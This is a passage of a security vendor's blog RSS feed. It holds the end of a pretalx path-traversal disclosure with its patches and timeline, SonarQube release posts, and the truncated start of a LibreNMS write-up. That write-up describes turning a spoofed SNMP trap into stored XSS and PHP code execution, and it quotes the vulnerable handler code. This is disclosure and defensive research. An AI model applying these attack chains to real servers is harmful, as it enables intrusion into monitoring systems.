user&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Regarding pretalx, this technique can be used to turn the file write into code execution, if running in &lt;code&gt;DEBUG&lt;/code&gt; mode. The payload is executed once a new Python process is spawned to perform &lt;a href=&quot;https://docs.pretalx.org/administrator/installation.html#step-9-provide-periodic-tasks&quot;&gt;periodic tasks&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;The file read vulnerability in pretalx was fixed by first resolving the &lt;code&gt;local_path&lt;/code&gt; and then ensuring that it is either within the &lt;code&gt;MEDIA_ROOT&lt;/code&gt; or &lt;code&gt;STATIC_ROOT&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def get_mediastatic_content(url):
  # ...
  # Prevent directory traversal, make sure the path is inside the media or static root
  local_path = local_path.resolve(strict=True)
  if not any(
    path in local_path.parents
    for path in (settings.MEDIA_ROOT, settings.STATIC_ROOT)
  ):
    raise FileNotFoundError()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Similarly, the file write vulnerability was fixed by first resolving the destination path and then ensuring that it is below the destination folder:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def dump_content(destination, path, getter):
  # ...
  path = (Path(destination) / path.lstrip(&quot;/&quot;)).resolve()
  if not Path(destination) in path.parents:
    raise CommandError(&quot;Path traversal detected, aborting.&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-07, 11:09&amp;nbsp;CET&lt;/td&gt;&lt;td&gt;We report all issues to pretalx.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-07, 12:55&amp;nbsp;CET&lt;/td&gt;&lt;td&gt;Vendor confirms the issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-07, 13:50&amp;nbsp;CET&lt;/td&gt;&lt;td&gt;Vendor releases patched version 2.3.2 and publishes official announcement.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we detailed a file read and file write vulnerability we discovered in the conference planning tool pretalx. Furthermore, we introduced a generic technique to turn a file write vulnerability into code execution by leveraging Python&amp;#x27;s &lt;code&gt;.pth&lt;/code&gt; files. We also learned how to prevent these vulnerabilities by looking at the applied patches.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to thank the pretalx maintainer for acknowledging the issues and providing a patch in an astonishing time of fewer than 3 hours.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/10-unknown-security-pitfalls-for-python/&quot;&gt;10 Unknown Security Pitfalls for Python&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/disclosing-information-with-a-side-channel-in-django/&quot;&gt;Disclosing information with a side-channel in Django&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Another 9 reasons to upgrade to SonarQube 9.9 LTS]]></title><description><![CDATA[SonarQube 9.9 LTS is here! We're back with another 9 reasons you should prioritise upgrading as soon as possible.]]></description><link>https://www.sonarsource.com/blog/sonarqube-lts-99-extra-features-part-2</link><guid isPermaLink="false">32afb51e-a3e6-5a52-996f-b47edd9cad0f</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Wed, 05 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarQube 9.9 LTS was released in February, and we hope you’ve already &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;seen our announcement&lt;/a&gt; and are working on your upgrade!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In March, we published &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-99-extra-features-part-1/&quot;&gt;9 more reasons to upgrade to SonarQube 9.9 LTS&lt;/a&gt; that weren’t featured in our big release announcement – and we aren’t done yet! There’s still more to know about the micro-features and improvements that are in our Best LTS Ever. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Without further ado, here are another 9 reasons you should prioritize upgrading to SonarQube 9.9 LTS.&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;1. Import SARIF reports generated by other tools&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In 2019, the &lt;a href=&quot;https://docs.oasis-open.org/sarif/sarif/v2.0/sarif-v2.0.html&quot;&gt;Static Analysis Results Interchange Format (SARIF)&lt;/a&gt; was defined as a standard format for the output of static analysis tools. Since then, this format has seen a lot of adoption among security tools. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Responding to feedback from our Community, in SonarQube 9.9 LTS it’s now possible to &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/importing-external-issues/importing-issues-from-sarif-reports/&quot;&gt;import issues from SARIF reports&lt;/a&gt; alongside your SonarQube analysis! Now developers don’t need to leave SonarQube to be aware of findings from these reports.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5f99f234-bed9-49f3-8ed6-725d9b15f781/Screenshot%202023-04-04%20at%2013.37.23.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;2. Detect New Code in Git Submodules&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Git allows you to use &lt;a href=&quot;https://git-scm.com/book/en/v2/Git-Tools-Submodules&quot;&gt;submodules&lt;/a&gt; when referencing another git repository.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Love them or hate them, they exist – and until recently, they broke SonarQube’s detection of New Code. This caused unnecessary noise to appear for developers when analyzing their pull requests. While SonarQube could detect that files some files had changed, SonarQube couldn&amp;#x27;t determine which specific lines had changed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 9.9 LTS, we’ve addressed this. Welcome to the family, git submodules (bless your heart).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;3. No more “zombie” Quality Profiles from removed plugins&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When installing third-party plugins, they sometimes provide built-in Quality Profiles (like how Sonar&amp;#x27;s analyzers provide the built-in “Sonar Way” Quality Profiles). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the past, if you removed such a third-party plugin, you were stuck with a Quality Profile you couldn’t delete unless you made dangerous database changes. This was understandably frustrating for users who didn&amp;#x27;t want clutter and confusion when viewing Quality Profiles.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After first being reported all the way back in SonarQube &lt;em&gt;v6.7 LTS&lt;/em&gt; (with the introduction of built-in Quality Profiles), these “zombie” profiles can finally be deleted in SonarQube 9.9 LTS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;4. “Acknowledge” Security Hotspots&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Security Hotspots highlight a security-sensitive piece of code that a developer needs to review.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 8.9 LTS, it only was possible to mark a Hotspot as “Safe” or “Fixed” – and we heard feedback from our users that there was a gap when a developer reviews the security hotspot and a resolution to the highlighted risk is pending. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS adds the &lt;strong&gt;Acknowledged&lt;/strong&gt; state to Security Hotspots to tell your team (and your auditors…) that you’ve seen an issue and the fix is pending.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a63377ac-b9bb-4b29-809c-6ec79ce9cb73/Screenshot%202023-04-04%20at%2011.02.51.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;5. Select Reference Branch at scan-time&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube&lt;em&gt; &lt;/em&gt;8.9 LTS introduced the &lt;strong&gt;Reference Branch&lt;/strong&gt; New Code Period, where a user can configure their New Code Period to be based on a comparison to an existing branch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some users want to set this at the scanner level instead of using the UI/API, and SonarQube 9.9 LTS allows this with the &lt;code&gt;sonar.newCode.referenceBranch&lt;/code&gt; &lt;a href=&quot;https://docs.sonarqube.org/latest/analyzing-source-code/analysis-parameters/&quot;&gt;analysis parameter.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is particularly useful if you have a specific build for branches targeting a specific release branch, or you have some logic in your pipeline that determines which branch your code will be merged into (based on the branch name, for example).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;6. Support of compilation databases for C/C++ analysis&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;C/C++ analysis requires a lot of precise configuration information to produce an accurate analysis. That’s why, historically, a build wrapped with our “build wrapper” has been necessary to collect all the information about the environment and the commands being sent to the compiler.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is reliable but comes with trade-offs, like needing to use a tool similar to &lt;code&gt;ccache&lt;/code&gt; to perform an incremental build. Sometimes, that’s not an option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube 9.9 LTS, it’s possible to pass a compilation database to the scanner instead of wrapping a full build, offering increased flexibility.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Read more about this in the blog post: &lt;a href=&quot;https://www.sonarsource.com/blog/alternative-way-to-configure-c-and-cpp-analysis/&quot;&gt;Compilation database: An alternative way to configure your C or C++ analysis&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;7. New (and improved) analysis tutorials&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube offers in-app tutorials for integrating analysis into your new and existing build pipelines. In SonarQube&lt;em&gt; &lt;/em&gt;9.9 LTS there are now new tutorials to cover even more combinations of DevOps Platforms and CI tools, and many updates to existing tutorials.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This includes new and improved tutorials for…&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Bitbucket Pipelines&lt;/li&gt;&lt;li&gt;GitHub + Azure DevOps&lt;/li&gt;&lt;li&gt;Jenkins + Bitbucket&lt;/li&gt;&lt;li&gt;C/C++ analysis across all supported DevOps platforms&lt;/li&gt;&lt;li&gt;Projects not bound to a specific DevOps platform&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This makes it easier than ever to configure analysis without reading through mountains of documentation or having to be a SonarQube expert.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;8. Reinforcing the security of SonarQube&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There was a significant effort in SonarQube 9.9 LTS to address some security issues based on our own penetration testing, and adding some “nice-to-haves” that users have been requesting to make complying with internal audits easier.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These improvements include:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Adding the &lt;code&gt;Content-Security-Policy&lt;/code&gt; HTTP Header&lt;/li&gt;&lt;li&gt;Adding the &lt;code&gt;Strict-Transport-Security&lt;/code&gt; (HSTS) Header when HTTPS is used&lt;/li&gt;&lt;li&gt;Adding &lt;code&gt;SameSite&lt;/code&gt; and &lt;code&gt;HttpOnly&lt;/code&gt; flags to cookies&lt;/li&gt;&lt;li&gt;Not following redirects when integrating with DevOps Platforms&lt;/li&gt;&lt;li&gt;Preventing plugins from modifying SonarQube’s home directory&lt;/li&gt;&lt;li&gt;Supporting SAML request signing and assertion encryption&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS is, without a doubt, the most secure SonarQube LTS we&amp;#x27;ve released.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;9. Project Move &lt;em&gt;moved&lt;/em&gt; to Community Edition&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;The Enterprise and Data Center Editions of SonarQube allow users to export and import projects so that they can be moved from one instance to another – we call this &lt;a href=&quot;https://docs.sonarqube.org/9.9/instance-administration/project-move/&quot;&gt;Project Move&lt;/a&gt; and it is particularly useful when organizations are consolidating many SonarQube instances. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Previously, this required that the source and target SonarQube instances were running the same version &lt;em&gt;and&lt;/em&gt; edition. The edition requirement complicated consolidating many Community/Developer Editions into an Enterprise Edition (or higher) because any Community/Developer Edition instances would need to first be upgraded to Enterprise Edition with a temporary license key. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ve made moving projects between SonarQube instances easier in SonarQube 9.9 LTS by allowing project export from &lt;strong&gt;any&lt;/strong&gt; edition (the version requirement remains)!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Project Import remains a feature of Enterprise and Data Center Edition.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have &lt;strong&gt;even more&lt;/strong&gt; reasons to prepare that upgrade with your team. This is a free version upgrade for all, and you can get the LTS in just a few clicks @ &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[How bad code destroys developer velocity]]></title><description><![CDATA[When bad code gets overlooked, it can create lasting problems and ultimately impact developer productivity and velocity. ]]></description><link>https://www.sonarsource.com/blog/bad-code-destroys-developer-velocity</link><guid isPermaLink="false">cb897103-13fd-56ab-bbf0-954505a2c4e7</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Wed, 05 Apr 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the pursuit of increased velocity, meeting deadlines is always the priority, even if it means that you&amp;#x27;re sacrificing the quality of your code. Without standards to meet for code quality and with mounting pressure to complete the project at hand, it can be easier to let bad code linger in the codebase in the name of innovation. But when bad code gets overlooked, it can create lasting problems and ultimately impact developer velocity. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b9e4e030-e48c-46a8-8588-7644cf7eae1a/Dev%20Velocity_Infographic%20%283%29.png&quot; /&gt;&lt;p&gt;Increase developer velocity without letting bad code drag you and your team down by using the &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code&lt;/a&gt; methodology from Sonar, starting today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing SonarQube 10.0]]></title><description><![CDATA[Learn what features - like faster first analysis and better user management with SCIM - are available to you and your teams in SonarQube 10.0!]]></description><link>https://www.sonarsource.com/blog/announcing-sonarqube-10-0</link><guid isPermaLink="false">b4cec1a7-8ef1-5893-8c96-fe60dd1f733c</guid><dc:creator><![CDATA[Kirti Joshi]]></dc:creator><pubDate>Tue, 04 Apr 2023 05:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In February this year, we released &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 Long-Term-Support&lt;/a&gt; (LTS) – an exciting milestone for us and everyone who uses our solution. This excitement continues through the year as we bring more value through our innovations and new functionality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Today, we are pleased to announce the release of SonarQube 10.0! This release builds upon the work we did in the LTS release to add in new and improved features. If you are new to Sonar, you will automatically get these enhancements as part of your download. If you are a Sonar user already, make sure you upgrade to LTS first for a smooth transition to 10.0.&lt;/p&gt;&lt;h2&gt;Some highlights of 10.0 include: &lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Faster first analysis for git-based projects&lt;/strong&gt;: Building on the optimizations we did to the way we handle git-blame data in SonarQube 9.9 LTS, developers can now see an even more prominent speed-up for their project’s first analysis, particularly for projects with large commit volumes.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Secure user &amp;amp; group management: &lt;/strong&gt;Our support for SCIM integration now includes Azure AD (in addition to Okta released earlier) for a secure and centralized admin workflow. Plus a new CWE Top 25 2022 security report so developers and security auditors can assess the risk of the codebase against the most commonly reported vulnerabilities  	&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Best practice rules for secure Docker deployment &lt;/strong&gt;and many new language rules. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out more details in this &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-0/&quot;&gt;release announcement&lt;/a&gt; and our product &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;release notes&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Resources for upgrading to 9.9 LTS:&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;This checklist&lt;/a&gt; will help ensure you have a smooth upgrade so you can start enjoying SonarQube 10.0!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[It’s a (SNMP) Trap: Gaining Code Execution on LibreNMS]]></title><description><![CDATA[Our researchers discovered a vulnerability in LibreNMS, which could be exploited by attackers to gain RCE by sending a single SNMP trap.]]></description><link>https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms</link><guid isPermaLink="false">fd104f92-d9a8-5051-ae6f-2dbf15adca87</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 29 Mar 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;LibreNMS is a fully featured monitoring solution developed in PHP. It is usually deployed at a central position in a company’s network with connectivity to all monitored hosts. This makes LibreNMS an interesting target for threat actors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our effort to help secure the open-source world, we decided to audit LibreNMS for security vulnerabilities. During this, we identified an XSS vulnerability, which an unauthenticated attacker could exploit to gain remote code execution by sending a single SNMP trap.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this article, we will outline the impact of the vulnerability and dive into the technical details. Furthermore, we will determine how this vulnerability can be prevented and derive the essential key learnings.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;LibreNMS versions &lt;code&gt;22.10.0&lt;/code&gt; and prior are prone to an &lt;strong&gt;unauthenticated, stored XSS&lt;/strong&gt; vulnerability when SNMP is enabled. The vulnerability could be exploited to gain &lt;strong&gt;remote code execution&lt;/strong&gt; as demonstrated in the following video:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/Phky4FiSHag&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;To exploit the vulnerability, the attacker sends a &lt;strong&gt;spoofed SNMP trap&lt;/strong&gt; (1), which injects an XSS payload in the eventlog (2). When an admin views the eventlog dashboard via the web interface (3), the triggered JavaScript payload leverages the &lt;code&gt;Alert Template&lt;/code&gt; feature to create a new &lt;strong&gt;Blade template&lt;/strong&gt; (4), which executes arbitrary PHP code e.g., to establish a reverse shell (5):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2ecb645a-d642-4a3f-8b50-1367e7e327e5/librenms-graphic.png&quot; /&gt;&lt;p&gt;The vulnerability was fixed with LibreNMS version &lt;code&gt;22.11.0&lt;/code&gt;. We strongly recommend updating any instance with a version prior to this release.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we briefly introduce SNMP and its different modes of operation. We determine how LibreNMS handles SNMP traps and outline the XSS vulnerability. Also, we showcase how custom inline templates rendered with Blade lead to code execution.&lt;/p&gt;&lt;h3&gt;SNMP&lt;/h3&gt;&lt;p&gt;The Simple Network Management Protocol (SNMP) is used to manage network devices and collect information about their current state. Monitoring solutions usually rely on or at least support SNMP, because it is available on a huge variety of devices. This can eliminate the need to set up a proprietary agent on the monitored device.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to collect information from a monitored device, the monitoring solution usually acts as an &lt;strong&gt;SNMP manager&lt;/strong&gt;, which can actively request information from an &lt;strong&gt;SNMP agent&lt;/strong&gt; running on the monitored device. This way of actively retrieving information is also known as &lt;strong&gt;SNMP polling&lt;/strong&gt;. The downside of this approach is that it can only reflect the device’s state at the time of the last poll. For events, which are critical and should be reported immediately, SNMP supports a feature called &lt;strong&gt;SNMP trap&lt;/strong&gt;. A trap is initiated by the monitored device in order to deliver unrequested information to the manager. The manager usually runs a separate daemon like &lt;code&gt;snmptrapd&lt;/code&gt; to receive these traps. The daemon can be configured to pass all received traps to another application for further processing. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A particular aspect to mention here is that SNMP relies on &lt;strong&gt;UDP&lt;/strong&gt;. In contrast to TCP, UDP does not require a handshake to initiate a connection: the data of a received package is directly processed. Because of this, the source IP address of UDP packets can be spoofed by attackers. This also makes SNMP prone to &lt;strong&gt;spoofed traps&lt;/strong&gt; if no additional access control settings are enabled.&lt;/p&gt;&lt;h3&gt;LibreNMS SNMP Handlers&lt;/h3&gt;&lt;p&gt;LibreNMS supports SNMP traps by using &lt;code&gt;snmptrapd&lt;/code&gt; as documented &lt;a href=&quot;https://docs.librenms.org/Extensions/SNMP-Trap-Handler/&quot;&gt;here&lt;/a&gt;. The default configuration does not require authentication. The only requirement for an attacker to make LibreNMS process a spoofed SNMP trap is to determine the IP address of any monitored device.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The variety of events that can be reported via an SNMP trap is huge and specific to the individual device. For this purpose, LibreNMS contains plenty of different trap handlers:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ ls LibreNMS/Snmptrap/Handlers|wc -l
143
$ ls LibreNMS/Snmptrap/Handlers
AdvaAccThresholdCrossingAlert.php
AdvaAttributeChange.php
AdvaNetThresholdCrossingAlert.php
AdvaNetworkElementAlmTrap.php          
AdvaObjectCreation.php   
AdvaObjectDeletion.php                 
AdvaSnmpDyingGaspTrap.php              
AdvaStateChangeTrap.php
...
VmwTrapUtil.php
VmwVmHBDetected.php
VmwVmHBLost.php
VmwVmPoweredOff.php
VmwVmPoweredOn.php
VmwVmSuspended.php
WarmBoot.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A usual trap handler e.g. for a Cisco device reporting a MAC violation looks like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;librenms/LibreNMS/Snmptrap/Handlers/CiscoMacViolation.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
class CiscoMacViolation implements SnmptrapHandler
{
  public function handle(Device $device, Trap $trap)
  {
    // retrieve interface name from trap
    $ifName = $trap-&gt;getOidData($trap-&gt;findOid(&apos;IF-MIB::ifName&apos;));

    // retrieve MAC address from trap
    $mac = $trap-&gt;getOidData($trap-&gt;findOid(&apos;CISCO-PORT-SECURITY-MIB::cpsIfSecureLastMacAddress&apos;));

    // create entry in eventlog
    Log::event(&quot;SNMP Trap: Secure MAC Address Violation on port $ifName. Last MAC address: $mac&quot;, $device-&gt;device_id, &apos;trap&apos;, 4);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The trap handler retrieves some information from the trap (interface name and MAC address) and then creates an entry in the eventlog by calling &lt;code&gt;Log::event&lt;/code&gt;. The first parameter of this method is the event &lt;strong&gt;message&lt;/strong&gt;. The third parameter (populated with the static string &lt;code&gt;&amp;#x27;trap&amp;#x27;&lt;/code&gt;) is the event &lt;strong&gt;type&lt;/strong&gt;.&lt;/p&gt;&lt;h3&gt;XSS via event type&lt;/h3&gt;&lt;p&gt;When the created event is displayed in the eventlog via the &lt;code&gt;EventlogController&lt;/code&gt; class, the event message is sanitized using &lt;code&gt;htmlspecialchars&lt;/code&gt; to prevent XSS. The event type is retrieved via the method &lt;code&gt;formatType&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;librenms/app/Http/Controllers/Table/EventlogController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
class EventlogController extends TableController
{
  // ...
 
  public function formatItem($eventlog)
  {
    return [
      // ...
      // message sanitized to prevent XSS:
      &apos;message&apos; =&gt; htmlspecialchars($eventlog-&gt;message),

      // type retrieved via formatType:
      &apos;type&apos; =&gt; $this-&gt;formatType($eventlog),
    ];
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;formatType&lt;/code&gt; method handles some specific values for the type. If the type does not match any of these values, it is returned as-is:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;librenms/app/Http/Controllers/Table/EventlogController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
private function formatType($eventlog)
{
  // handle some specific types ...
  if ($eventlog-&gt;type == ...) {
    // ...
  }
 
  // ... otherwise return type as-is
  return $eventlog-&gt;type;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If an attacker can control the type value, this leads to an XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As it turned out, one of the many handlers called &lt;code&gt;HPFault&lt;/code&gt; does not set the event type to a static value but takes its value from the SNMP trap:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;librenms/LibreNMS/Snmptrap/Handlers/HpFault.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
class HpFault implements SnmptrapHandler
{
   public function handle(Device $device, Trap $trap)
   {
       // type is taken from SNMP trap (can be arbitrary)
       $type = $trap-&gt;getOidData($trap-&gt;findOid(&apos;HP-ICF-FAULT-FINDER-MIB::hpicfFfLogFaultType&apos;));
       switch ($type) {
           // ... same cases for specific types ...
       default:
           // default case: type can almost be arbitrary (excluding static strings from cases above)
           Log::event(&apos;Fault - Unhandled &apos; . $trap-&gt;getOidData($trap-&gt;findOid(&apos;HP-ICF-FAULT-FINDER-MIB::hpicfFfFaultInfoURL&apos;)), $device-&gt;device_id, $type, 2);
           break;
       }
   }
